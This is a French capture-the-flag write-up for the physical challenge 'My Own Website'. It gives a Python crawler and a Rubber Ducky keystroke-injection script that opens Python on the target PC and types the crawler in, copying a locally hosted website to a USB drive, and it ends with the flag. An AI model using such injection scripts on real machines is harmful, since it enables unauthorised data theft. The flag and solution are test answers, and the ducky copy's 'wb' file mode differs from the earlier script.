Aperi’CTF 2019 - My Own Website
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | My Own Website | Physique | 175 | ??? |
L’utilisateur du PC ducky est développeur web à ses heures perdues. Vous devez parser son site web et récupérer les différentes ressources. L’exfiltration des données peut se faire à l’aide d’une clé USB classique (montage D:// par default) uniquement. Le flag respecte le format APRK{…}.
TL;DR
Écrire un script python pour crawler http://127.0.0.1/ et sauvegarder les pages sur D://.
Méthodologie
Comme nous devons crawler un site web sur un ordinateur, nous allons essayer de résoudre le site web à l’URL http:\\127.0.0.1\.
Pour parser le site web, nous allons écrire un petit script python utilisant requests. Le script va sauvegarder chaque page sur D:\ et ajouter chaque nouvelle page présente dans l’attribut href à une liste de crawling.
Voici le script python :
import requests
import re
urls = ["index.html"]
knowurl = ["index.html"]
s = requests.session()
while len(urls) > 0:
url = urls.pop()
r = s.get("http://127.0.0.1/"+url).text
with open("D:/"+url,"a+") as f:
f.write(r)
gurls = re.findall(r'href=[\'"]?([^\'" >]+)', r)
for u in gurls:
if u not in knowurl:
knowurl.append(u)
urls.append(u)
Maintenant, nous le mettons sur la Rubber Ducky avec du ducky code :
DELAY 3000
GUI r
DELAY 1000
STRING python
ENTER
DELAY 2000
STRING import requests
ENTER
STRING import re
ENTER
STRING urls = ["index.html"]
ENTER
STRING knowurl = ["index.html"]
ENTER
STRING s = requests.session()
ENTER
STRING while len(urls) > 0:
ENTER
STRING url = urls.pop()
ENTER
STRING r = s.get("http://127.0.0.1/"+url).text
ENTER
STRING with open("D:/"+url,"wb") as f:
ENTER
STRING f.write(r)
ENTER
STRING gurls = re.findall(r'href=[\'"]?([^\'" >]+)', r)
ENTER
STRING for u in gurls:
ENTER
STRING if u not in knowurl:
ENTER
STRING knowurl.append(u)
ENTER
STRING urls.append(u)
ENTER
ENTER
Après cela, nous débranchons les deux clés, nous pouvons parcourir le site web stocké sur la clé USB. Ouvrez le fichier nommé 7cOQ3F2J4S.html, puis lisez le flag.
Voici le site web lorsque le css et les images sont également téléchargés :

Flag
APRK{*We88er!Ducky*}